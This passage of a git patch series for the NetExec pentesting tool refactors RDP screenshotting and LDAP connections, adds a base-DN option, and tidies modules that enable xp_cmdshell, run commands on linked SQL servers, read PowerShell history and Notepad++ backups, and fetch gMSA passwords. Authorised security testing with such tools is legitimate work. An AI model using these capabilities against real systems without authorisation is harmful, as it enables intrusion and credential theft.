changed, 3 insertions(+), 1 deletion(-) diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py index d1e73d3e..4f027797 100644 --- a/nxc/protocols/rdp.py +++ b/nxc/protocols/rdp.py @@ -373,11 +373,13 @@ class rdp(connection): asyncio.run(self.screen()) async def nla_screen(self): + self.auth = NTLMCredential(secret="", username="", domain="", stype=asyauthSecret.PASS) + for proto in self.protoflags_nla: try: self.iosettings.supported_protocols = proto - self.auth = NTLMCredential(secret="", username="", domain="", stype=asyauthSecret.PASS) self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) + await self.connect_rdp() except Exception: return From 55c4cfd219fa0f0696a6ac1a07ceb29d60725493 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 10 Dec 2024 17:42:38 -0500 Subject: [PATCH 123/376] Add log message and use NXC_PATH var --- nxc/protocols/rdp.py | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py index 4f027797..9a8a5a46 100644 --- a/nxc/protocols/rdp.py +++ b/nxc/protocols/rdp.py @@ -22,6 +22,8 @@ from asyauth.common.credentials.kerberos import KerberosCredential from asyauth.common.constants import asyauthSecret from asysocks.unicomm.common.target import UniTarget, UniProto +from nxc.paths import NXC_PATH + class rdp(connection): def __init__(self, args, db, host): @@ -166,6 +168,7 @@ class rdp(connection): return True def check_nla(self): + self.logger.debug(f"Checking NLA for {self.host}") for proto in self.protoflags_nla: try: self.iosettings.supported_protocols = proto @@ -381,13 +384,14 @@ class rdp(connection): self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) await self.connect_rdp() - except Exception: + except Exception as e: + self.logger.debug(f"Failed to connect for nla_screenshot with {proto} {e}") return await asyncio.sleep(int(self.args.screentime)) if self.conn is not None and self.conn.desktop_buffer_has_data is True: buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL) - filename = os.path.expanduser(f"~/.nxc/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png") + filename = os.path.expanduser(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png") buffer.save(filename, "png") self.logger.highlight(f"NLA Screenshot saved {filename}") return From c4671a2c1720bc7af848839cd3f230d72465de70 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 10 Dec 2024 18:27:12 -0500 Subject: [PATCH 124/376] Add base-dn options for ldap to fix stuff like #500 --- nxc/protocols/ldap.py | 2 ++ nxc/protocols/ldap/proto_args.py | 3 ++- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index acc05846..082b34bf 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -255,6 +255,7 @@ class ldap(connection): def enum_host_info(self): self.target, self.targetDomain, self.baseDN = self.get_ldap_info(self.host) + self.baseDN = self.args.base_dn if self.args.base_dn else self.baseDN # Allow overwriting baseDN from args self.hostname = self.target self.remoteName = self.target self.domain = self.targetDomain @@ -697,6 +698,7 @@ class ldap(connection): # Microsoft Active Directory set an hard limit of 1000 entries returned by any search paged_search_control = ldapasn1_impacket.SimplePagedResultsControl(criticality=True, size=1000) return self.ldapConnection.search( + searchBase=self.baseDN, searchFilter=searchFilter, attributes=attributes, sizeLimit=sizeLimit, diff --git a/nxc/protocols/ldap/proto_args.py b/nxc/protocols/ldap/proto_args.py index 47314a39..5c74089f 100644 --- a/nxc/protocols/ldap/proto_args.py +++ b/nxc/protocols/ldap/proto_args.py @@ -15,7 +15,8 @@ def proto_args(parser, parents): egroup.add_argument("--asreproast", help="Output AS_REP response to crack with hashcat to file") egroup.add_argument("--kerberoasting", help="Output TGS ticket to crack with hashcat to file") - vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain", "Options to to play with Kerberos") + vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain") + vgroup.add_argument("--base-dn", metavar="BASE_DN", dest="base_dn", type=str, default=None, help="base DN for search queries") vgroup.add_argument("--query", nargs=2, help="Query LDAP with a custom filter and attributes") vgroup.add_argument("--find-delegation", action="store_true", help="Finds delegation relationships within an Active Directory domain. (Enabled Accounts only)") vgroup.add_argument("--trusted-for-delegation", action="store_true", help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION") From 99970919803156f2a92bc9c7ddc088e4a44a29f5 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 10 Dec 2024 18:29:14 -0500 Subject: [PATCH 125/376] Add baseDN option for other search queries --- nxc/protocols/ldap.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 082b34bf..19b877fb 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -1246,6 +1246,7 @@ class ldap(connection): try: self.logger.debug(f"Search Filter={searchFilter}") resp = self.ldapConnection.search( + searchBase=self.baseDN, searchFilter=searchFilter, attributes=[ "sAMAccountName", @@ -1373,6 +1374,7 @@ class ldap(connection): self.logger.display("Getting GMSA Passwords") search_filter = "(objectClass=msDS-GroupManagedServiceAccount)" gmsa_accounts = self.ldapConnection.search( + searchBase=self.baseDN, searchFilter=search_filter, attributes=[ "sAMAccountName", @@ -1380,7 +1382,6 @@ class ldap(connection): "msDS-GroupMSAMembership", ], sizeLimit=0, - searchBase=self.baseDN, ) if gmsa_accounts: self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}") @@ -1426,10 +1427,10 @@ class ldap(connection): # getting the gmsa account search_filter = "(objectClass=msDS-GroupManagedServiceAccount)" gmsa_accounts = self.ldapConnection.search( + searchBase=self.baseDN, searchFilter=search_filter, attributes=["sAMAccountName"], sizeLimit=0, - searchBase=self.baseDN, ) if gmsa_accounts: self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}") @@ -1456,10 +1457,10 @@ class ldap(connection): # getting the gmsa account search_filter = "(objectClass=msDS-GroupManagedServiceAccount)" gmsa_accounts = self.ldapConnection.search( + searchBase=self.baseDN, searchFilter=search_filter, attributes=["sAMAccountName"], sizeLimit=0, - searchBase=self.baseDN, ) if gmsa_accounts: self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}") From d32080e5077acdf3efd28fa6a853b6a74f86ba9a Mon Sep 17 00:00:00 2001 From: mpgn Date: Mon, 16 Dec 2024 21:56:58 +0100 Subject: [PATCH 126/376] fix py missing --- nxc/modules/{mssql_coerce => mssql_coerce.py} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename nxc/modules/{mssql_coerce => mssql_coerce.py} (100%) diff --git a/nxc/modules/mssql_coerce b/nxc/modules/mssql_coerce.py similarity index 100% rename from nxc/modules/mssql_coerce rename to nxc/modules/mssql_coerce.py From cb44d09df795e48c032a3a05d97181e1cefe736f Mon Sep 17 00:00:00 2001 From: mpgn Date: Tue, 17 Dec 2024 21:08:00 +0100 Subject: [PATCH 127/376] fix ruff --- nxc/modules/notepad++.py | 2 +- nxc/modules/powershell_history.py | 10 +++------- nxc/modules/shadowrdp.py | 2 +- 3 files changed, 5 insertions(+), 9 deletions(-) diff --git a/nxc/modules/notepad++.py b/nxc/modules/notepad++.py index 54f19faf..9450e2bc 100644 --- a/nxc/modules/notepad++.py +++ b/nxc/modules/notepad++.py @@ -20,7 +20,7 @@ class NXCModule: def on_admin_login(self, context, connection): found = 0 - for directory in connection.conn.listPath("C$", "Users\\*"): + for directory in connection.conn.listPath("C$", "Users\\*"): if directory.get_longname() not in self.false_positive and directory.is_directory(): try: notepad_backup_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Notepad++\\backup\\" diff --git a/nxc/modules/powershell_history.py b/nxc/modules/powershell_history.py index c410d3b1..3e531dc3 100644 --- a/nxc/modules/powershell_history.py +++ b/nxc/modules/powershell_history.py @@ -25,7 +25,7 @@ class NXCModule: self.export = bool(module_options.get("EXPORT", False)) def on_admin_login(self, context, connection): - for directory in connection.conn.listPath("C$", "Users\\*"): + for directory in connection.conn.listPath("C$", "Users\\*"): if directory.get_longname() not in self.false_positive and directory.is_directory(): try: powershell_history_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\" @@ -37,12 +37,8 @@ class NXCModule: connection.conn.getFile("C$", file_path, buf.write) buf.seek(0) file_content = buf.read().decode("utf-8", errors="ignore").lower() - keywords = [] - for keyword in self.sensitive_keywords: - if keyword in file_content: - keywords.append(keyword.upper()) - - if keyword: + keywords = [keyword.upper() for keyword in self.sensitive_keywords if keyword in file_content] + if len(keywords): context.log.highlight(f"C:\\{file_path} [ {' '.join(keywords)} ]") else: context.log.highlight(f"C:\\{file_path}") diff --git a/nxc/modules/shadowrdp.py b/nxc/modules/shadowrdp.py index 040cb645..40ad8120 100644 --- a/nxc/modules/shadowrdp.py +++ b/nxc/modules/shadowrdp.py @@ -38,7 +38,7 @@ class NXCModule: remoteOps._RemoteOperations__rrp, regHandle, "Software\\Policies\\Microsoft\\Windows NT\\Terminal Services\\" - )['phkResult'] + )["phkResult"] # Checks if the key already exists or not try: From 4c9db0a3772a17b21bbf498850035c80fd88fd0e Mon Sep 17 00:00:00 2001 From: mpgn Date: Tue, 17 Dec 2024 21:18:57 +0100 Subject: [PATCH 128/376] fix ruff --- nxc/modules/enum_impersonate.py | 9 +++++---- nxc/modules/enum_links.py | 9 +++++---- nxc/modules/enum_logins.py | 9 +++++---- nxc/modules/exec_on_link.py | 11 +++++------ nxc/modules/link_enable_xp.py | 11 ++++++----- nxc/modules/link_xpcmd.py | 7 ++++--- 6 files changed, 30 insertions(+), 26 deletions(-) diff --git a/nxc/modules/enum_impersonate.py b/nxc/modules/enum_impersonate.py index 5079f7af..9dc142c5 100644 --- a/nxc/modules/enum_impersonate.py +++ b/nxc/modules/enum_impersonate.py @@ -1,7 +1,8 @@ -#Author: -# deathflamingo class NXCModule: - """Enumerate SQL Server users with impersonation rights""" + """ + Enumerate SQL Server users with impersonation rights + Module by deathflamingo + """ name = "enum_impersonate" description = "Enumerate users with impersonation privileges" @@ -28,7 +29,7 @@ class NXCModule: """ Fetches a list of users with impersonation rights. - Returns: + Returns ------- list: List of user names. """ diff --git a/nxc/modules/enum_links.py b/nxc/modules/enum_links.py index 0797fd6a..fea52cd3 100644 --- a/nxc/modules/enum_links.py +++ b/nxc/modules/enum_links.py @@ -1,7 +1,8 @@ -#Author: -# deathflamingo class NXCModule: - """Enumerate SQL Server linked servers""" + """ + Enumerate SQL Server linked servers + Module by deathflamingo + """ name = "enum_links" description = "Enumerate linked SQL Servers" @@ -28,7 +29,7 @@ class NXCModule: """ Fetches a list of linked servers. - Returns: + Returns ------- list: List of linked server names. """ diff --git a/nxc/modules/enum_logins.py b/nxc/modules/enum_logins.py index 7b4449f2..42302338 100644 --- a/nxc/modules/enum_logins.py +++ b/nxc/modules/enum_logins.py @@ -1,7 +1,8 @@ -#Author: -# deathflamingo class NXCModule: - """Enumerate SQL Server logins""" + """ + Enumerate SQL Server logins + Module by deathflamingo + """ name = "enum_logins" description = "Enumerate SQL Server logins" @@ -28,7 +29,7 @@ class NXCModule: """ Fetches a list of SQL Server logins. - Returns: + Returns ------- list: List of login names. """ diff --git a/nxc/modules/exec_on_link.py b/nxc/modules/exec_on_link.py index a5342bd1..a620101a 100644 --- a/nxc/modules/exec_on_link.py +++ b/nxc/modules/exec_on_link.py @@ -1,7 +1,8 @@ -#Author: -# deathflamingo class NXCModule: - """Execute commands on linked servers""" + """ + Execute commands on linked servers + Module by deathflamingo + """ name = "exec_on_link" description = "Execute commands on a SQL Server linked server" @@ -35,9 +36,7 @@ class NXCModule: self.execute_on_link() def execute_on_link(self): - """ - Executes the specified command on the linked server. - """ + """Executes the specified command on the linked server.""" query = f"EXEC ('{self.command}') AT [{self.linked_server}];" result = self.mssql_conn.sql_query(query) self.context.log.display(f"Command output: {result}") diff --git a/nxc/modules/link_enable_xp.py b/nxc/modules/link_enable_xp.py index e5f514f2..028170ac 100644 --- a/nxc/modules/link_enable_xp.py +++ b/nxc/modules/link_enable_xp.py @@ -1,7 +1,8 @@ -#Author: -# deathflamingo class NXCModule: - """Enable or disable xp_cmdshell on a linked SQL server""" + """ + Enable or disable xp_cmdshell on a linked SQL server + Module by deathflamingo + """ name = "link_enable_xp" description = "Enable or disable xp_cmdshell on a linked SQL server" @@ -43,10 +44,10 @@ class NXCModule: """Enable xp_cmdshell on the linked server.""" query = f"EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [{self.linked_server}]" self.context.log.display(f"Enabling advanced options on {self.linked_server}...") - out=self.query_and_get_output(query) + out = self.query_and_get_output(query) query = f"EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [{self.linked_server}]" self.context.log.display(f"Enabling xp_cmdshell on {self.linked_server}...") - out=self.query_and_get_output(query) + out = self.query_and_get_output(query) self.context.log.display(out) self.context.log.success(f"xp_cmdshell enabled on {self.linked_server}") diff --git a/nxc/modules/link_xpcmd.py b/nxc/modules/link_xpcmd.py index a1318a8a..1376a143 100644 --- a/nxc/modules/link_xpcmd.py +++ b/nxc/modules/link_xpcmd.py @@ -1,7 +1,8 @@ -#Author: -# deathflamingo class NXCModule: - """Run xp_cmdshell commands on a linked SQL server""" + """ + Run xp_cmdshell commands on a linked SQL server + Module by deathflamingo + """ name = "link_xpcmd" description = "Run xp_cmdshell commands on a linked SQL server" From 0b2ffca913080ed3f6eec75977a3a7b2369a060d Mon Sep 17 00:00:00 2001 From: Randall Stroup <1945569+Mortimus@users.noreply.github.com> Date: Wed, 18 Dec 2024 14:31:45 -0600 Subject: [PATCH 129/376] Update pyproject.toml Updated missing dependency for wam module Signed-off-by: Randall Stroup <1945569+Mortimus@users.noreply.github.com> --- pyproject.toml | 1 + 1 file changed, 1 insertion(+) diff --git a/pyproject.toml b/pyproject.toml index ea39d07c..c365b429 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -44,6 +44,7 @@ bloodhound = "^1.7.2" dploot = "^3.0.3" dsinternals = "^1.2.4" impacket = { git = "https://github.com/fortra/impacket.git" } +jwt = ">=1.3.1" lsassy = ">=3.1.11" masky = "^0.2.0" minikerberos = "^0.4.1" From 59e091ba34c66a5d73c4adbbc8b89c5c6d89e581 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Thu, 19 Dec 2024 02:37:06 +0100 Subject: [PATCH 130/376] add poetry.lock --- poetry.lock | 17 +++++++++++++++-- 1 file changed, 15 insertions(+), 2 deletions(-) diff --git a/poetry.lock b/poetry.lock index 95daa11d..d9c08a13 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1,4 +1,4 @@ -# This file is automatically @generated by Poetry 1.8.4 and should not be changed by hand. +# This file is automatically @generated by Poetry 1.8.3 and should not be changed by hand. [[package]] name = "aardwolf" @@ -959,6 +959,19 @@ MarkupSafe = ">=2.0" [package.extras] i18n = ["Babel (>=2.7)"] +[[package]] +name = "jwt" +version = "1.3.1" +description = "JSON Web Token library for Python 3." +optional = false +python-versions = ">= 3.6" +files = [ + {file = "jwt-1.3.1-py3-none-any.whl", hash = "sha256:61c9170f92e736b530655e75374681d4fcca9cfa8763ab42be57353b2b203494"}, +] + +[package.dependencies] +cryptography = ">=3.1,<3.4.0 || >3.4.0" + [[package]] name = "ldap3" version = "2.9.1" @@ -2494,4 +2507,4 @@ files = [ [metadata] lock-version = "2.0" python-versions = "^3.10.0" -content-hash = "b102ff826faf73e87da291e242fcdb95294a641c8d8ab8590d9b47f73d6375b6" +content-hash = "9af8efb9eb1cf1026dca8b5276ca23db2dbcdf6865fd61920a9daf1098646193" From 02981b187e0a5fe4fa2162ff42f589251bd7958f Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Wed, 18 Dec 2024 23:01:38 +0100 Subject: [PATCH 131/376] Remove smb from ldap proto --- nxc/protocols/ldap.py | 150 +++++++------------------------ nxc/protocols/ldap/proto_args.py | 1 - 2 files changed, 33 insertions(+), 118 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 19b877fb..f79a51ad 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -31,8 +31,8 @@ from impacket.ldap import ldap as ldap_impacket from impacket.ldap import ldaptypes from impacket.ldap import ldapasn1 as ldapasn1_impacket from impacket.ldap.ldap import LDAPFilterSyntaxError -from impacket.smb import SMB_DIALECT from impacket.smbconnection import SMBConnection, SessionError +from impacket.ntlm import getNTLMSSPType1 from nxc.config import process_secret, host_info_colors from nxc.connection import connection @@ -42,6 +42,7 @@ from nxc.protocols.ldap.bloodhound import BloodHound from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB from nxc.protocols.ldap.kerberos import KerberosAttacks from nxc.parsers.ldap_results import parse_result_attributes +from nxc.helpers.ntlm_parser import parse_challenge ldap_error_status = { "1": "STATUS_NOT_SUPPORTED", @@ -163,15 +164,15 @@ class ldap(connection): } ) - def get_ldap_info(self, host): + def create_conn_obj(self): try: proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap" - ldap_url = f"{proto}://{host}" + ldap_url = f"{proto}://{self.host}" self.logger.info(f"Connecting to {ldap_url} with no baseDN") try: - ldap_connection = ldap_impacket.LDAPConnection(ldap_url, dstIp=self.host) - if ldap_connection: - self.logger.debug(f"ldap_connection: {ldap_connection}") + self.ldap_connection = ldap_impacket.LDAPConnection(ldap_url, dstIp=self.host) + if self.ldap_connection: + self.logger.debug(f"ldap_connection: {self.ldap_connection}") except SysCallError as e: if proto == "ldaps": self.logger.fail(f"LDAPs connection to {ldap_url} failed - {e}") @@ -179,9 +180,9 @@ class ldap(connection): self.logger.fail("Even if the port is open, LDAPS may not be configured") else: self.logger.fail(f"LDAP connection to {ldap_url} failed: {e}") - exit(1) + return False - resp = ldap_connection.search( + resp = self.ldap_connection.search( scope=ldapasn1_impacket.Scope("baseObject"), attributes=["defaultNamingContext", "dnsHostName"], sizeLimit=0, @@ -208,42 +209,18 @@ class ldap(connection): self.logger.debug("Exception:", exc_info=True) self.logger.info(f"Skipping item, cannot process due to error {e}") except OSError: - return [None, None, None] + return False self.logger.debug(f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}") - return [target, target_domain, base_dn] - - def get_os_arch(self): - try: - string_binding = rf"ncacn_ip_tcp:{self.host}[135]" - transport = DCERPCTransportFactory(string_binding) - transport.setRemoteHost(self.host) - transport.set_connect_timeout(5) - dce = transport.get_dce_rpc() - if self.args.kerberos: - dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) - dce.connect() - try: - dce.bind( - MSRPC_UUID_PORTMAP, - transfer_syntax=("71710533-BEBA-4937-8319-B5DBEF9CCC36", "1.0"), - ) - except DCERPCException as e: - if str(e).find("syntaxes_not_supported") >= 0: - dce.disconnect() - return 32 - else: - dce.disconnect() - return 64 - except Exception as e: - self.logger.fail(f"Error retrieving os arch of {self.host}: {e!s}") - - return 0 + self.target = target + self.targetDomain = target_domain + self.baseDN = base_dn + return True def get_ldap_username(self): extended_request = ldapasn1_impacket.ExtendedRequest() extended_request["requestName"] = "1.3.6.1.4.1.4203.1.11.3" # whoami - response = self.ldapConnection.sendReceive(extended_request) + response = self.ldap_connection.sendReceive(extended_request) for message in response: search_result = message["protocolOp"].getComponent() if search_result["resultCode"] == ldapasn1_impacket.ResultCode("success"): @@ -254,46 +231,26 @@ class ldap(connection): return "" def enum_host_info(self): - self.target, self.targetDomain, self.baseDN = self.get_ldap_info(self.host) self.baseDN = self.args.base_dn if self.args.base_dn else self.baseDN # Allow overwriting baseDN from args self.hostname = self.target self.remoteName = self.target self.domain = self.targetDomain - # smb no open, specify the domain - if not self.args.no_smb: - self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0] - try: - self.conn.login("", "") - except BrokenPipeError as e: - self.logger.fail(f"Broken Pipe Error while attempting to login: {e}") - except Exception as e: - if "STATUS_NOT_SUPPORTED" in str(e): - self.no_ntlm = True - if not self.no_ntlm: - self.hostname = self.conn.getServerName() - self.targetDomain = self.domain = self.conn.getServerDNSDomainName() - self.server_os = self.conn.getServerOS() - self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection["RequireSigning"] - self.os_arch = self.get_os_arch() - self.logger.extra["hostname"] = self.hostname + ntlm_challenge = None + bindRequest = ldapasn1_impacket.BindRequest() + bindRequest['version'] = 3 + bindRequest['name'] = "" + negotiate = getNTLMSSPType1() + bindRequest['authentication']['sicilyNegotiate'] = negotiate.getData() + try: + response = self.ldap_connection.sendReceive(bindRequest)[0]['protocolOp'] + ntlm_challenge = bytes(response['bindResponse']['matchedDN']) + except Exception as e: + self.logger.debug(f"Failed to get target {self.host} ntlm challenge, error: {e!s}") - if not self.domain: - self.domain = self.hostname - if self.args.domain: - self.domain = self.args.domain - if self.args.local_auth: - self.domain = self.hostname - self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}" - - try: # noqa: SIM105 - # DC's seem to want us to logoff first, windows workstations sometimes reset the connection - self.conn.logoff() - except Exception: - pass - - # Re-connect since we logged off - self.create_conn_obj() + if ntlm_challenge: + ntlm_info = parse_challenge(ntlm_challenge) + self.server_os = ntlm_info["os_version"] if not self.kdcHost and self.domain: result = self.resolver(self.domain) @@ -304,17 +261,10 @@ class ldap(connection): def print_host_info(self): self.logger.debug("Printing host info for LDAP") - if self.args.no_smb: - self.logger.extra["protocol"] = "LDAP" if self.port == 389 else "LDAPS" - self.logger.extra["port"] = self.port - self.logger.display(f'{self.baseDN} (Hostname: {self.hostname.split(".")[0]}) (domain: {self.domain})') - else: - self.logger.extra["protocol"] = "SMB" if not self.no_ntlm else "LDAP" - self.logger.extra["port"] = "445" if not self.no_ntlm else "389" - signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"]) - smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"]) - self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1})") - self.logger.extra["protocol"] = "LDAP" + self.logger.extra["protocol"] = "LDAP" if str(self.port) == "389" else "LDAPS" + self.logger.extra["port"] = self.port + self.logger.extra["hostname"] = self.target.split(".")[0].upper() + self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})") def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False): self.username = username @@ -594,40 +544,6 @@ class ldap(connection): self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}") return False - def create_smbv1_conn(self): - self.logger.debug("Creating smbv1 connection object") - try: - self.conn = SMBConnection(self.host, self.host, None, 445, preferredDialect=SMB_DIALECT) - self.smbv1 = True - if self.conn: - self.logger.debug("SMBv1 Connection successful") - except OSError as e: - if str(e).find("Connection reset by peer") != -1: - self.logger.debug(f"SMBv1 might be disabled on {self.host}") - return False - except Exception as e: - self.logger.debug(f"Error creating SMBv1 connection to {self.host}: {e}") - return False - return True - - def create_smbv3_conn(self): - self.logger.debug("Creating smbv3 connection object") - try: - self.conn = SMBConnection(self.host, self.host, None, 445) - self.smbv1 = False - if self.conn: - self.logger.debug("SMBv3 Connection successful") - except OSError: - return False - except Exception as e: - self.logger.debug(f"Error creating SMBv3 connection to {self.host}: {e}") - return False - - return True - - def create_conn_obj(self): - return bool(self.args.no_smb or self.create_smbv1_conn() or self.create_smbv3_conn()) - def get_sid(self): self.logger.highlight(f"Domain SID {self.sid_domain}") diff --git a/nxc/protocols/ldap/proto_args.py b/nxc/protocols/ldap/proto_args.py index 5c74089f..34fc22ce 100644 --- a/nxc/protocols/ldap/proto_args.py +++ b/nxc/protocols/ldap/proto_args.py @@ -5,7 +5,6 @@ def proto_args(parser, parents): ldap_parser = parser.add_parser("ldap", help="own stuff using LDAP", parents=parents, formatter_class=DisplayDefaultsNotNone) ldap_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes") ldap_parser.add_argument("--port", type=int, default=389, help="LDAP port") - ldap_parser.add_argument("--no-smb", action="store_true", help="No smb connection") dgroup = ldap_parser.add_mutually_exclusive_group() dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to") From 1c55fd806a9724901431d59185787a7a615845a1 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Wed, 18 Dec 2024 23:05:52 +0100 Subject: [PATCH 132/376] fix ruff --- nxc/protocols/ldap.py | 15 ++++++--------- 1 file changed, 6 insertions(+), 9 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index f79a51ad..ac185fb1 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -14,8 +14,6 @@ from Cryptodome.Hash import MD4 from OpenSSL.SSL import SysCallError from bloodhound.ad.authentication import ADAuthentication from bloodhound.ad.domain import AD -from impacket.dcerpc.v5.epm import MSRPC_UUID_PORTMAP -from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE from impacket.dcerpc.v5.samr import ( UF_ACCOUNTDISABLE, UF_DONT_REQUIRE_PREAUTH, @@ -23,7 +21,6 @@ from impacket.dcerpc.v5.samr import ( UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION, UF_SERVER_TRUST_ACCOUNT, ) -from impacket.dcerpc.v5.transport import DCERPCTransportFactory from impacket.krb5 import constants from impacket.krb5.kerberosv5 import getKerberosTGS, SessionKeyDecryptionError from impacket.krb5.types import Principal, KerberosException @@ -31,7 +28,7 @@ from impacket.ldap import ldap as ldap_impacket from impacket.ldap import ldaptypes from impacket.ldap import ldapasn1 as ldapasn1_impacket from impacket.ldap.ldap import LDAPFilterSyntaxError -from impacket.smbconnection import SMBConnection, SessionError +from impacket.smbconnection import SessionError from impacket.ntlm import getNTLMSSPType1 from nxc.config import process_secret, host_info_colors @@ -238,13 +235,13 @@ class ldap(connection): ntlm_challenge = None bindRequest = ldapasn1_impacket.BindRequest() - bindRequest['version'] = 3 - bindRequest['name'] = "" + bindRequest["version"] = 3 + bindRequest["name"] = "" negotiate = getNTLMSSPType1() - bindRequest['authentication']['sicilyNegotiate'] = negotiate.getData() + bindRequest["authentication"]["sicilyNegotiate"] = negotiate.getData() try: - response = self.ldap_connection.sendReceive(bindRequest)[0]['protocolOp'] - ntlm_challenge = bytes(response['bindResponse']['matchedDN']) + response = self.ldap_connection.sendReceive(bindRequest)[0]["protocolOp"] + ntlm_challenge = bytes(response["bindResponse"]["matchedDN"]) except Exception as e: self.logger.debug(f"Failed to get target {self.host} ntlm challenge, error: {e!s}") From 4a8e702f245d67fcefd0e6142c4b78b64444ec37 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Wed, 18 Dec 2024 23:42:25 +0100 Subject: [PATCH 133/376] fix hostname --- nxc/protocols/ldap.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index ac185fb1..e9bdb89d 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -229,7 +229,7 @@ class ldap(connection): def enum_host_info(self): self.baseDN = self.args.base_dn if self.args.base_dn else self.baseDN # Allow overwriting baseDN from args - self.hostname = self.target + self.hostname = self.target.split(".")[0].upper() self.remoteName = self.target self.domain = self.targetDomain @@ -260,7 +260,7 @@ class ldap(connection): self.logger.debug("Printing host info for LDAP") self.logger.extra["protocol"] = "LDAP" if str(self.port) == "389" else "LDAPS" self.logger.extra["port"] = self.port - self.logger.extra["hostname"] = self.target.split(".")[0].upper() + self.logger.extra["hostname"] = self.hostname self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})") def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False): From 4767762939b84a6539bdc3acac6b9bc5e98701d4 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 18 Dec 2024 17:31:25 -0500 Subject: [PATCH 134/376] Rename ldapConnection to the new ldap_connection var --- nxc/protocols/ldap.py | 38 +++++++++++++++++++------------------- 1 file changed, 19 insertions(+), 19 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index e9bdb89d..30130369 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -134,7 +134,7 @@ class ldap(connection): self.server_os = None self.os_arch = 0 self.hash = None - self.ldapConnection = None + self.ldap_connection = None self.lmhash = "" self.nthash = "" self.baseDN = "" @@ -302,8 +302,8 @@ class ldap(connection): proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap" ldap_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [1]") - self.ldapConnection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) - self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) + 